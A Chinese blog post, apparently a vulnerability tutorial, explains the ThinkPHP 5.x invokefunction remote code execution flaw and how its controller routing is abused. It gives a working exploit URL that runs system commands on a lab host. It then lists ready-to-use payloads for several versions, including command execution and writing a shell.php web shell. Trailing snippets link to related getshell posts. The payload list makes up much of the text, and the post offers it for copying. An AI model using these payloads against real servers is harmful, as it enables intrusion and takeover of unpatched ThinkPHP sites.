时间:2021-05-24
先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell
影响的范围:5.x < 5.1.31, <= 5.0.23
漏洞危害: 导致系统被提权(你懂的)
这里附上一个自己测试的 thinkphp的 链接 http:///download/1260.html 版本是5.0.22
先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类 tp5.0是没有这两个新的类的,
漏洞原理
URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction
我们先来看看App类里的 exec函数里的执行分层控制器的操作
我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了
因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。
这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)
此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写
vars[]=函数名&vars[1][]=参数此处是利用php的数组注入
此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami
http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的
这里就代码执行成功,以下奉献上tp不同版本的payload
?s=index/\think\Request/input&filter=phpinfo&data=1?s=index/\think\Request/input&filter=system&data=id?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=?s=index/\think\view\driver\Php/display&content=?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
近段时间发现很多APP程序用的是thinkcmf,此程序源码存在getshell漏洞,我们紧急对此高危漏洞进行了分析和漏洞修复,攻击者可以通过构造特定的请求包g
加了三个验证漏洞以及四个getshell方法#/usr/bin/envpython3#-*-coding:utf-8-*-#@Author:Morker#@Em
ThinkPHP官网上曾有一段公告指出,在ThinkPHP3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model
一、漏洞描述2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:https://blog.thinkph
Web服务器存在的主要漏洞包括物理路径泄露,CGI源代码泄露,目录遍历,执行任意命令,缓冲区溢出,拒绝服务,SQL注入,条件竞争和跨站脚本执行漏洞,和CGI漏洞